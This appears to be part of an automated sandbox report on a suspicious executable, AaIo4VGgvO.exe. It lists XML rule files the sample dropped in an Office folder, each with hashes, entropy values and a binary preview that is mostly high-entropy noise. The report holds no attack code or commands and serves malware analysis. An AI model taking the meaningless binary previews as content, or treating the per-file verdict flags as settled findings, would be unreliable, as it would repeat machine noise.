Preview:	<?xmln.....s].Y........<p.l..W.:...E.rR....rQ....iX...DO".d..6g.>....~R......k...QV...i?.......p....._..........7....7^.c.j.G...K.tA...@..#.>...%'R&..C.6.y,l.-.....@`@.....g.9..$...cov..2y.pF.V.B.[~...:..".....!.AU.....&MY8..z..wYk.p.6.0D.. ...............e.~r.........2.^ue..j&..8-...uc.!.\.Q.MI..X.W.a`.....7..<`.e..EJ.f.......3.....=..du.G./0D..@..aF.Chs....+.c......6fj..]...%.^.7Uk..E;.."[@.\.x\|v.-i?..:w...DH..4K..,.h....69...:.\|.:K...+..}.1}.k.T...@......).g2......^..4Kp....d.=.....%.F ^.A..>x._7w.~.V..C.\...Yz.cF..x]....V...]..A..y..'.x..i[...S^v.Z./t....p.....2ZX$.>.z<.,.._.....5.FB....s.....]_........UQ..o.H..L..m.!.E.y...-.L.L..U....jIUn6.bc^....o)...HR.L..1C.....@.&..u4......N...D....;.7X.,..~}..[L..[....T....~...W...+....{d.md....4S.T.7.....W<...p...2\|./.9VH .....f....~.S..U.N...M..'.#C<.tY8..Bt=.k.(.{W.f.h.....oY'8..Ri.W...^..r.c...3D..~..k.O...Bq.)....8..0+...f.._>...q....f0..{...]G.A..Z.......Ld6:h."@...)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.902650837493257
Encrypted:	false
SSDEEP:	48:5+L2E5JjYGCgMnBe6AKTzj5pHWlMKkzlXD:5+jEGxMnBvAWj5pona
MD5:	CAB045874E89DAF4C826E997ACFDA5E2
SHA1:	E93FD4755B48CBDD3679C483201915859E3D90B2
SHA-256:	C0DB816119D918768E27FF3988558DD7800B19C53F0292A0063E6F39677EFA68
SHA-512:	16568752207627B1AD163D173658D903CC3B079FC57F5462CFD9DE90C0C1D4167385D5B6630182B12E90324BF6C781CD9A7E077C27914C1E25745B3CC11A1B3E
Malicious:	false
Preview:	<?xmlQ..\|...y.I..KoW.w....=[wo..x.E..I.._f.]...3....'.......tA..c.@.....O.J.@.LVM..]..y.."....,._.W...p....g..#?a..y.i\|yl=.l..d.0.'`.......z^...W.1..T.J ..jMQ....lA..&!...B.Q..$.......^..%..-K.......Cmh..c...%..+.F8..b.H. X.;...`.........Oi.1......e.&.:.....B...h.....@Y.{.[\|@...b.+...C.0.1.H'. ../..xl...{J./.........8BA................aa..A..(.d...Jd....jUA.U2&7.~,.V.H_.........>..X......uQ..V..m....N..U...e\|.SS.G-o.......#../R .g.O.7.z>.....[..9:.I..g......u.Y?d..Zf].R%l..:<...........}....@..)G....[..`..a\..BTi..n...L....:.....T`.h...5 ....ir...@.....D.N....$u..u...k.X..l.`..6F..3..N.f.m...v.2s..u......SR....i.._;._N1!X_.y...(4]..gGN....-yT......kw....z....G...d....R1.....*..{..^PI....-K....T....,.V...,z...D........:.K}\...$....."........B.q.q1.47.....0.h5...E..K.'.5.....^....\|~..VS..5.m..._.z...O..".....\|....'4..9...N...........q.cd{.n_...s..............%.&..5....F5.....\|.)B...R..A%t.4....Dk.H..i....N... ..Q...m0.B.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.895263185442009
Encrypted:	false
SSDEEP:	48:HBbO316GHWhHDszm/N/2fIBFk12yJKf+5spsVnjreb1JD:hbO3oGHygzmF2QHkBKG5sk01h
MD5:	15DC223AE26C13007B3DFBC1C7B13DD3
SHA1:	03908433AAA5876B5FCCFC1176C92EAE693C2ADB
SHA-256:	BAE0C84205D9806CB49AE53326081B711C69B56653F337205EC9DCBD68967173
SHA-512:	C80203F67D0676DFB10ADD5C5283FFB8A4E4015BBA698221B328CA43546BA2ED2DB26325FC839EE3A85B7947A9362F3F9574BC672B323958267C23788EBAC416
Malicious:	false
Preview:	<?xml(;.k..C.3..g.........2...#jAf.mxbS..K..A^.s....5ft..].z+c...........A~c...0......#.OC.R.v..z.2R.....Pa...w.W9.n..\|....c...@.._...........Z.!.}..;..J.......l..>DS.g6.6UF.Q.v..K.......uN.`......=.].....7N....1...=..2m.b6.....X\....m.l..s.<{.}a..'..r6....w...@.f3i..G......K.!9...s.Re/..1..w..$t....0P...'.{..{.......W....i.uG&AW..4P..e......{..3..E.. .H.S/..dh.JA....._.Z.K.b^.s[...m...F..6e./..g..'.if..DH.....b......Vb.V....X.j..z......^.6.5.i.&.k.j.D..7....=.6..n...9)..ZH..:..M.k8\.Jlb..).B.o..,...+......R.w2Z.cK..K......D.....vN.VA....d. ..$..W...I..j..O1...b.?']..KD..K...l.-....l^5..8a.\..FJ.<m...'.jW..=.X....R.....!(j.%G..^~"7..\"fq.a..M..AJ..=....8w.8..1H5`yW0.u9.\w.7..YZ......y.x.....u.bU8...../~1L..)Ea...B..Z.W/[t.s7...r"C.0=..].X.Ub?....F4?..A.`.....o~ .u:{U..~.eH..Oq.R.\|.Oo;....v.^.g.>?@.B..&T...,e....L.p.......f;*nUd...zG..ot.....pLO-KQ.....%?...=.....l.V....{..wk.......diUPN..\|.E/..T+zN.E.....@.E..Hb.....4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.882433949568537
Encrypted:	false
SSDEEP:	24:WumUSAUiVQRBC0UqX7S1JplwlkEIc3EihM84orSeKAIQ+E+2Q9E6cXVBF9XOvZwS:GjAUiVkhl41zcj+nmc9E6SjrXOva8zzD
MD5:	B724AF1E60294B32B4CD8D28CAE67607
SHA1:	B4AB25CE55DD37BC5CF20BC45AF583E1ED10B2E6
SHA-256:	65C3750E6534CC319B37F447133FF222C2436F21A6B1C0BB06C35C1B1C5EC134
SHA-512:	43E395A36626944A6FAE0DC58E07C2AFBAFC431775F86EC84511058F50E358288C314485D565203E60ADCBAD0BB9C34AB017655E2FA04A57F0B45C73CCC2A9AE
Malicious:	false
Preview:	<?xml$..n.b.^.....!....I.$.e..(?FI.)...s.xB..`V...=._..N.j.3.\...&N~.Ch..Xv.K....;.Bi.:..M........7[.2).<....:...y%.0..h........<..S...A.z.3.m.$V..yVr93=...z...).L...$99.v..........1.,..%.%!..bU..........(<...l..N....5Gc..<... ^_...p...e:$..'......\...[9..c...L%.......i........:.-T......0.d.ufo2...:./..g.....x.;"....v.....`..p....2.CL.~.y.[...2.G.'...o..uw.k7$7..2....<..BY..(...._..u.o.5.]m5....... i.nu..V...q.^.....M.R....Q..p1..4.v.6..b:&..4K.......Ck4.b.,....i.........vH..-T...,...;...H..e..h.o.1..p...gF.+...zy&..U.zb.. ..MB...&..Q...k.u...kaM...&..s..$<....4}...`...0....kW.#.IY.se.)..I....E... ..V.?...X.R.P..O..J}../.7..].J.<.N.b....Fj1#.IW).D+...R.g....C.....6.....{.T..%W._...+..{LN.)..F.cB..d......8^?.T.......Fy.v:...R..p....e....YL'.v.kmD.4BE.K....b]....b^.\Fh.<........{.. ..R?w;h..._.n ...F..F)..\|\|4K.?PT..c.U.u.....,.D6...M.....aM..?.P0.\|r........T...Ys.+.w..u..=..8..../..E..o.&~.W....TM.:..d.....n.X..H..l...}/.r..o.)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.893071574244333
Encrypted:	false
SSDEEP:	48:mQLa888NF60xEpoC7F9hK0MJ//7XUVIhxVD:mt2koC7zhZMJYa
MD5:	AE37D697021FC35C9B97A3DF231E149E
SHA1:	60B13B70BD3C1F4A4DED78B8978D0B099BDF10D1
SHA-256:	F3304808B09DE87981B1EBC4339C08ED636CDDCDF1367E5CFF89B21B4FBAE220
SHA-512:	B4D628156C343B3C26A833149C74A575A29DB00000447AE4E23316A10A19F08A6812E2B581516ED1C504C6B833F2B6E305E7956DA4DFC05A1D5011A6B551CDEC
Malicious:	false
Preview:	<?xml......p..$O,.B..7B.,.;6.^[;......&.W..b..X...8GPJ.'....z7.G...DjV.y..w..H4.+...../t....L..G.R..Hs....<.U.x.j8..K...s...S....ZGW?U0.....x1#.....................A..\|E $ w.H{..K....4.,.=..VO7J.X.&........q......o4..j.^p..}.....j.E..dtF...}.W..OQ.KF..].l.0...4.o..y..,l@5.Rq...@..f...:$.. .,,>.U..U3w.zt.d.....j...Q\|..;J..Y....{.....).....+...[%...} ..<..t...Q..l..%.UrO(..tT..$n/.....U.6....W..!...,?.-'....$+.{.].a.6.fS....vc[...^..e.6M....8n.,..cc..B\%..,<_...-e...T+r.]..'....'.A9q..d.P..0.)..?.^........v........N..\|.....F.h..,..k..Q..QS.!..F..tc.Zp.91p....2....x3.b.6.....a...#..#.g.&.ix...c...".Q.$.D5......-..^..}....Y.VV1z..G.....#.d....leg...!Nv..`,"..^.'..sR...;.KFtJ.n..B.J...'.Q....Q....=f.>....7...!.L..u....g....qY..AD.D:....gt.f.h........o.q.Le.`c!@..G$I....:.c.......}.Y.!.....l....a.[p..[.W......jl.(.L.\|.j....M\|..#..:.Dn..@....fW..;l.n..n.$.v/6B..Q.?;.......:=...w;.mF]%t..>!..5.l...Q.l.k\..i..pT@Isw..^.A9?..$..%3K.......%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.883103283111632
Encrypted:	false
SSDEEP:	24:gB3ScIqMsuKAl6/+3nISBBwdpKKWCWlaLMaKHGpINCyCJ4poj/pUhZflcLvVUbD:gBdqlDI8ApzgaK4yCwodglHD
MD5:	45182D5949A26ED1E104FA68BC5EC25C
SHA1:	A89BD3C9DCE5C52F82617D9C9A62CBD5AAC4E8E4
SHA-256:	9247943B8B6F974F64F2A6BBC6DC908FA5B0A84ECEB812FA524E6A8FF7850A42
SHA-512:	FD58FD22C3CC79DB96BFFC2CF4179E91513C75363EA2423794FF39A4328A53CE5187251D406B2C673E14B31DAD3CCC3593F07F09C4F6FD339019FEE33469B012
Malicious:	false
Preview:	<?xml]b.....w.)f.....E...W....7..u.P1..U.p..NX....).V..]..,.U.........k........^.!...E..?.U:\..i............/....h3=.HO.......d$....O..[.^..,.......G?.rZ..Y.5.....w...nw.LC.)^.q`.O.o.?.}. ...0.T....W....^....gE..!.....Ub......w9j.2.=c.h....s.(\|.?.5........Tj.n...].a...[.v..E...Y...!.NV....2<....r.}.,...U..vF..>...\....%.(.uxg...z.BL..u.b...h.&.t..d....#..m..O..j.y.zA.l......`.h..r..:.....j......#.5..v..w...!4`..6...7]{...?.[..Z...a.R."..%N`.....$.S.Hj!1.\|..g..X..~.+Z...>..<.d..A;.....N.q.=..\...es<....fAr.B.......k.01.\.....m.FX.X..[OJ..2...$l...6.\|..g.l..;9...%V.d...w..b..`/.]Y?..?..^.F....',.. ..:5!W\.Y...A.l...`.JZ.e.~....I=.............~......]Qie{)f..V.4...O.....N-....z".y^.}.XHj.`..R.............U..q.7.2..5V...;n../...f3.^..q.r........L..#.H,..._h.T.Z.....a.....M-.)....V!.u..../fE^[.N..E.T..n..2a.~7..e-.Qy"..@..J..f...C.d.v..3.....k=.9..<.-{..+....'U..~.CwM./&..T..W...^..iT.w/....).Bo%..(..Y..{..e=n$.h.=.}. ..Vk\.l. sg.6:Q#..P).t.6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.898471976630551
Encrypted:	false
SSDEEP:	24:Qx6khNjg6bOIiCLmEe5XgKKvtYen2Mkzn2dGxXnYXHrbD:Qx6khHCDCaEcj6t/n2zzn6GtuD
MD5:	F0515F430EAA02DCA5C53C95CEF27AD3
SHA1:	68F4567BCDEF5E30F43E589DBCBEC741A952E6FC
SHA-256:	BC9EEB340458C96D99985A8A50DAB7EB7CD8140946703944C5051B148F0E7116
SHA-512:	9BC29DCA1FC781341947B7FF9C2209E067729E26A182DE167C6E3F4850AD8B688DB06EC180442D0D64ED68A2A23398C7FA1D4DE3EF53E32D2AF6F451983B43AB
Malicious:	false
Preview:	<?xml-.#.W..e37.-._..p].#...%....H.......j......z..S.5.v.:.po...Jrq..rL.:..L..?0MJ?.m..'...jz..c..........zE}5?.....}..6;n..........%.rE9$o......CNnS..F.'.BQ.Q...F._j.....f7..j/.\....y....<..I...r"....u.i..>..%.s.0."./Z._4G.<7\z.XL..N..F\|:..p....s.'.&H..x.gpk.K.._......e.j....!.?..g..T.......R..m.....F.t...?...^?.....EL.N..3. ....&..q.}J.~..6g.!38T.P.XR.3..)CR. `..&..i:...O,._...2.....k..-~.f:_.C...._-.M..xA...4.4D.."k......)..Nw,d....;J..Q.....2)..e.....YHhoY(.Fw..k0C6.X.o...Y.Acp06IY.....Je.m.~4p..Q...Q.C....n1......?.D.,$.......#W+..%Z6..(....B#.q...........(.......s..B.H.k.._..7.[.p.JC..4/...k.V..R...[.O~...~x..e]...zM..B..:w<..).].tU.}..\|z...:.K.._..%......;..Udu..6.J.l.CZ..8...^.F=.f(..<.u..>...V....kw..m../.j#.g...'.ua..<.........Nj.WC...4.)..IJ..;..~C...f....I`....H.P....".g.J. ..}bw.H..\|S.i._?c-...J.....o............EPt..d..5......C..V.p..s.@.6M..VG.[}.c.,..GnL.1..P..*........."{L.[.D..w....%.......Q..\|.3....:-g.N.B.i.O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.883360392938328
Encrypted:	false
SSDEEP:	48:FYiy0eWPjGoYyeJ/wz9DPTHRoVKvjEImsXw/GRs3D:FYi9jPjQyeJ/oZ+KvYImsXVg
MD5:	88ADE992074580C60C1161B72024B3DD
SHA1:	78FAE61E65871DDF67B2D31072A1E8EA3E2F7105
SHA-256:	9BDA6DCCD4683F3C764CE09F1C6816EF4CBCECC4FEACCA6BE123217A49733517
SHA-512:	FDF8BD7307FEEDEF676A78E1E7178425440EDB80CF57D93527A38EBB288274C22C314F9247674DB7974EAF4E9AF075354F7930C74DF389DC566FE94048017E64
Malicious:	false
Preview:	<?xml3.x5!...x.}.T.`....0e.x....>......Z.\.!...D........d.;..p.k7.oSnm....Gx'g..E.6.........@n.............]F\;.%.....s...n7...I..tQ.....~.7.gs.9].g.n...W...D#e[..'..(..6x...;.).[...^......M.:...<..,.l...#.b...q.f.U%_....=A......3.0..S.0+..\....(........y..~...YB....hG13.q..I;.T.dQx.....y\|..)f....c...rht.R......=...x.1...4...mH@..V.#v.W=k.}..p..A.O..h.1...q._.AK.M.C.6/.....<M}.x{.8........b...."...sH..1.h1.~oe.{-14..zj...k...P....)..R.......=...M{t...K].7.}H2...I.]\|l?-?3.e.W.n.Byt<:..c.+)....O..r.]`.'...5..mi....3u.\|..q.\.9xL...m...?...F...<.R. 7..).3.2s`..o.^W:.5'.d,..V.S.V...B..B...V../j.(.x<S......_;.2.+.&.~j t.*....:...FG.F...1..=..MPV.}....'.x....V.n@.......A....u...=r....v...m.6.9E.b.d.....s....k_..X.../kN.eG.4}.....X..j=...F.>...:..,1....,..rd..>R..QO0.i(.$...\|..;'.q. ..f60.W..Z.a.....F.-.......o.8o8...p..t[.'P..@......h......o.v........B...U..kx.f..?..p.K..y{(..(V4..N....../.].2..+...0.+,-.KB='.......rn.D.c..1B.+...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8861689256649665
Encrypted:	false
SSDEEP:	48:W+dMdb3TYf2uehZyuzi67+IGuceKoTg5IJD:WwQYf2uYxJfKo7h
MD5:	A22D5C482626BB4F25E965AEF5162E48
SHA1:	F48A4756429578D6A37003A3D975C75017BBC0CC
SHA-256:	BEDEB1BEB79D5C29D130DE9A22916ADDD7A2DB6FE3F55DDBD9C90E60AE26AAE4
SHA-512:	820AD1FE8DFD700266BAEF15638AAEEC66033BD7F3D2E90F50A777B993B2FD78EC5E0AFD718CC2541E409A85B8712373C18DEAF1979E0E32D30369DF92CCDCD2
Malicious:	false
Preview:	<?xml...E ...._..........qY....\..G.".Pas...M.....w..>ule"...=%.=.P..e..#h..Y...J..Q....c...9}...~...m....T..@uA...L.>.'..fY8w.g.N?.`..B7.....XY..}...{...!.u-=yLT9....^h.`..>@.}5.'...m.\|..Tz3.....kV=?2.Dz.{t.S6....o..}.n.d..:....'7d7".F....<.4..1............X..]@d...Z.M...H.....$G....xa..U....N.!e.7l..+.......`.W:.o....q.+....ek........_.g......J........:..zY.$.;.K..!...y..H..U..U.!..V.7/.9....h.{.=..=..Q/JW..W.+.{`2s..../v.g. . toD.C.{...a.B.tb..A..vHc.CI.z.....,,a..."+.F.(...T.rJ.(h\|.O..(..K^.3.Y.T.5.....?.?.i<G....l{C..T...f,....'E......p.5.{..).3.I.Q.....l...6.F.L.+=.......y8..q...=2...L...g..8+....+..$B..c.?.fj&.@.....S.~. h..;.....E<.6i%3..S.?.u.H.{..P.....6..H.#EC......A.< 0^{a....T........x....:.1r....Ix.0.s......6..A....]...C..)x.o.........^1...{.s..:......~..y.Q...y.)5k.S._..n...F.-".)..`.F...+........X.f....P..v...9..QF.2@..T.hH......og.H..c.n.%.y.J.P.i.....P...?.*TX:......6.........V.....F......~....c..C.J.!H..F...Cj......T...n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.89088318214038
Encrypted:	false
SSDEEP:	24:l+tsSD+rXLE/o1HZdn1beBKOwoQ1qdJpJfTW997r3cWpA+gew6QhHdBed/GN+bD:l+tRubEw1HfzJ1EtTE3prfw6GjXmD
MD5:	B04B2CDE867250C1A2C671FDE6493480
SHA1:	CAF590EE78E3D0F1F45B0501AB449091D97E1D7C
SHA-256:	EAE2BE0FEC3ECF0D5D744FAB1A29571A2385319BABB131BD6DEA067C75F725CF
SHA-512:	2C05994A43ACD90FB4FFB215E1339102FCBECEE5FF594C09DF96130EBBAF541D20887748111BB3C0783C7D2F37A97FE399DE38FE618733877F8D0F7FC6CE63D8
Malicious:	false
Preview:	<?xmlH.A../'....1....A..k.1......l.K.....r.qA.....'....`W..g..N..L..s:J`.^.~.#.o.N..%."E...P.B.B.NK[...\|..+..T...&..."a.e..>Oo....6...)H...-..lD.?Wr..s..'+G.ol9gA[....l##.}.@....._..J.4mcD.).z..%<T...\|H9...^Q....`(..w...DL.wa.Y....L...p~.gX..<7.VZdJ...[.4#.....cm<...uN.....D?3F.=~..,......T....OnH.....@......9..F.vW.C4....p..^..u......4V1_...dcP.w...>\E...u..]..6..?Hu..T.../.9.....I....PE..$..yF>c.9B......y.. .;../.......a......L..;o...A.>...\...b.&.....{&0:@....s#.x%H5...)t.M...j...~.Jj...f..~.=.....`.o...%...\..^}...-7P.E.P.B.OY..Po../k.......aL1..@..HI.\..%.......e]L.#O>#\~.wjH..n..R..d._..2..e...%b...4.p\..x...N......K.?=.....5......5^y.hA.f...........i<.s#<...C...n.....T8..[...ju....RB....rU1.e ....6.l..}.3.P......]..sh,=.hH..8..t.)a.s....V6[\.../.~3U...tU.CMj....^....i.b...l`6.&...e'..........\|....(/.N.....b.U.....wfv.....@.....&...@[...J...x..D.h...x.;`..+).qU!v.m.2F........".Xa)'-1zd...m..p..G/.3...%.}..h...-..IX.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.903704226759898
Encrypted:	false
SSDEEP:	48:R0/60H0y93r8X67SD9w1e73YcINhjFGV+XD:R26c0yRZGBweSNhjlT
MD5:	3338F3534FA9229EADC30FD1F90EDF4E
SHA1:	EC2EB1EE655C9F1A664E792CA4684A1B4AE9D4F9
SHA-256:	EBBFC39BCC6E78234ED7FADF0BAAD903309BCCB4146D37073AD74FC8D270CAA2
SHA-512:	68DD80262034C913D26964855276CD6C718C76BD247E7BAC790AB66D7C3ED57D6C37D98279C75D5DE9DF023BEB5D154461DDC99DA86CA1A02A300016D12CFE91
Malicious:	false
Preview:	<?xmlO...C.H).JD&...[.R.D..S..0U.U....c....k..P.q}&..6X.R`..[BYD......L..........kO.)....<.....x..z.....47...O..`dZGv$..@}....T&_!...,...k........h.lJ'..3.........F.JOS...".st.).wO..E.....^(....:......6..C.).\|.....xj.......OX.. W..PF....E..L.W.L.5...Q.....`.)?..N......p.w..c.e.._.......F..B\.~1[:V.=9Xm...{....\..M......\|..0..kR.".e.....D.+g.j9.Z\.......Q..@~G_.m.SR....{....s.:.5.w...}.}6..Hn5.2....Q.g....!m.....B~..z..V..1..T1U......Z.7V\...........]...e....UH....6!S......(+..F#...$...^...I.v...t.z.{.A.G.H.\.L........F.8.h...^..Z.2.^...?ze...Ey.. .$QDD.j}.~...e.?.^A@..j..rGMi...m..[...P^N].L.X....7....nSo......F..0..s..K....(...p.E..I...B..\|b~...6.\n.... ..c.........r..w...p\|..vY#.ov$......B..K...-y(.U.[K.....x.....4.......]..N...xIs;.fh..uAG.2.d;mu...Q.*2.'m..N.....i\|..../l...]...=.....b..gC...]>@.....?T.....&.kXW.....z4j..W.[.'xJx..P..,.d.%..x....MV.e.g.t..0d;..!......_b.....(.f...yl.0..SY!..f.../...H:q.BlD~..3...O..k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.893287151932402
Encrypted:	false
SSDEEP:	48:WdaTpsm4ie3/AEA7WptGsiKUIWtUBhLGUNszF6gFD:oaTpH4LvARWptGPKKtUzGrFR
MD5:	97A86FDF59A0FDE0A5832BDB2B880034
SHA1:	8A31003326100F733D189E4AFBE5933164934968
SHA-256:	63275DCDDB6BC07D74877A47336EB72579CCA51590A39A568171AEF48D292F0E
SHA-512:	217A1CE889F12F0F3468964BA3A765A2126FF7925160EAC0198D3A509126FD034B1434A254CC4CEC31CA02F1AF953FFFB4AE092AC181947D35F4721F66A1D51D
Malicious:	false
Preview:	<?xml..P.,s..J....vv.T.chJ..1.{.W4NE.Wl.jl..4H.....2...4m.5u.1..uG..=l.F>?y.......tD....z...R...\.`....>q[{.".2q..\H........=.:.m.d....&.V...L+@6.>.Mc. }......\#.tiy..6...ZjT.y..2tYh.D.Y.....[.<g.D.z.(...(\|........z`.t.-x......V.Z..J.?..?M#KoR..X..J....m1..9H.`..X-.U....b.mT0.3h....8...4..y.&....7\WD~h.Sv......}s...r.._.).....M}...a.j......V&I.=~.Ej~'......A.~.wm....V.....S...{....B....1.....p&OH.I..m..\...06...d.7.(.p;.o.o/.g8.I......U5\Z......h.......{]<...",..j..Bq..)..,+..].......fQk....w..#L..~.#..U.MaN..(.1./o8.w....\|W.O.{,....S.\.QA?t.^.RpE..d.qY.."L...v*%....B......ybQ....m..(...7.. ......Mc..i.....,;...~_$J..Bke...@c.1.5u..G`...S.'..?F...tV..S.4...6.........S...5...lp\.o..i.......}.....cYS.tF..5..p].......?^.k.0.{P3Pp+h(Z%..-a?.o.....#>.1....T'..s.K..`.4..._.......... .q.[.~....ec.M.\Z..ejH...@...,.%j...s+..3p.^I.m.K.n.....d....T3....psds.L....JS.=}RnE.....t.N_..{.;..........?...ek\...R5.Z}gs.\|'I....C..[.......U.a\O..Z.?..).n)I...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.87380172631135
Encrypted:	false
SSDEEP:	24:pddDJxfhXCf2Q/AqgXiZ5nTaQ9fScP/UYvLNPUvP6YiXEe0qAJQa/HM+nWhCOZoV:pd7xfGP8IX5McNPehIEe0qGvH7QNF6D
MD5:	5BA94E1684F154A734AF5F19C29760D1
SHA1:	B7DD1C4B12750DB8D66665FB11D66C83B42BFC18
SHA-256:	4C3854A8B96615D96E912D4137265208618514A8A6CC03DF1D3B53AF189AC3D5
SHA-512:	4A49DA9A29E29483A8E61CCAACDA662F354BC5483A5315376E008F49BF56E940CEAD133B4A536677248BCF54AFB7D44558021D5643E1DE46F4663ADAB393F6F3
Malicious:	false
Preview:	<?xml....\..AeC......M.O2[d.-w....G.h....q.-...b}(TD3e.m.AO.b&F..i.!.HH..5c..O.-....~r..w.ns...X?t2.=..R.o...$.d)......D`K6~ ...+Kcg....x..m...8.{V..V..,.`H....\|.0.&;....u.+\|...\|........D..su.2.\.......l..DH...S...+.4.K..R...U...s...2z5......a.Y....j.8Nd..u.dw...@..~d...X0........\.7].H>8c.sk.M.Ua..o.~..j..\|.[...{.p5D.2./...(.......ODn....=.uA\|h25S...&..'D".D.FG.....p{Y>....9...A^M.J?Z.X.....X......AS....S..b.i....+..`.KR^.O.>.......XI....w. .VBC.BW>.op.....B.k.Nq....O.,.CK...z7i.\../.U.....{4%.,.O.....v.&'.<t.#+Q....3..)..#..#...&t$>..8....3....m......0w...S..a....O...C/.R(-!..f>.........>.-38..cD..._.rA. .......Jdc.).....S..F..g....,.E9....>..t...9..\|~y.mu..&0.o.ie..U.S.3;_.VSJ<...^.\.....E...8I....(.....e"....cu.R<.'.o.C.....Q..s.2..wc.%.W...g....%....D5...._.V.{.c....U.K.(F....A!...u...m"...%9\'.......Jz.Y.@j..x*J...x...j..$..V....."!......XFe..H.jK.s..@..K...........M..I_?..7A...6....7p..kV...x.....[..&../.v......3..k.S`..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.905647940827531
Encrypted:	false
SSDEEP:	48:6OMhRKsC2FyAOPSqRGzsA1dVshnVqwzOfBd0nD:SKsrFyAOisA1bUCBqD
MD5:	AD683CA0E3696C73F4597C847572E174
SHA1:	484A9B72D6F95831C3497C3FF5F5E52FC6EBD7B0
SHA-256:	CA8FD2C1431B40AFC35FB06F88F09F75F4845C229A531D6C91C5A5A866B034AC
SHA-512:	426E077024F322BD9186555A3F524AEF090EEE3A6C7CFDC9F2B733A24EBB806E3001CEF4488224453EFA11ECA13EC7C93526C2BA4482F910A324825FBC95E571
Malicious:	false
Preview:	<?xml. .u..[..\|.a....x.CK..o..j.......UM........../l.!.j.@...."..(V....3.0.........~[.u..:r.=0....T..$w.I.F..}.j...1...v/......d.c.S.im8..<.3v..%..i..x..0..$W....I..~.iQ....z.M\sH.(@..3C...P3H..5Q..bK.]...he.@...`)_.pp.1..[.......y.....{..+..x.P..B...\|".....b.%v.~<Y...[...>YD.O........,r1....~k....$U..jIqxFnv9.L..X../=.o.%E..].....{3s}.2....m....5....F..b...c...@%..4. .."S.?...^.P.y....:..'.5v.Pw..N.Lf.Ad4.d.}....3..W^$....(....Q.C..".4)d.v.vg..0-.?"g...I..W...FR.....6Ho!{d.fLg..5D..qw..?!..<...0.d.0..m..../..l&/l..H...!.KT...~.7.C.....v..g..........7.[.?6...5.....T.D.........i.4...[;..Sp.+].Ec8ic.5.U..=o.E..u.....N......dlZ...Tw..QO6..L..t..,....R....U..H-...tU.....L..].....a.....P....T.....].:.9...........x>..q....'.$t./...ZM..&...I..V/..5....Y.M}g..{.......c.....u.....Lx.9D...>^.B.Fw...*q......gK......27.YX....zs..-_;.....V........5..U..8..)..0.- .F......}......P..2.V.)....R..'.f....4.$`...C...n....P.....C.LOc9..<+.M.{.o.#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.879821213376361
Encrypted:	false
SSDEEP:	24:MckVPXhQblzxtinKlHJL94MREZTF4nDJ68b5P7ntxE0B+KaHkzYmgctKKtPkIbD:M7VPXextrp94MNnDJ68bvxE0wctKW8SD
MD5:	A5FF562E37C22E007F1CB9CC1F6ADB69
SHA1:	D4D2F8C5B07FC7F493B0B02FCCFB125993C8CB75
SHA-256:	AEFABEB2E83DE8B47A00955297917EF5BAD0BDB9946C546C93D332D00FC920A4
SHA-512:	12663FA443A3BAE6FB7E490422DB92396A7EE47D6EDEEF9F3F8B9C5820063C80DB04DC4EFDBB152FA9008648AA11E34F603EC8E94BAF147AF7FBF9C3EC39D60A
Malicious:	false
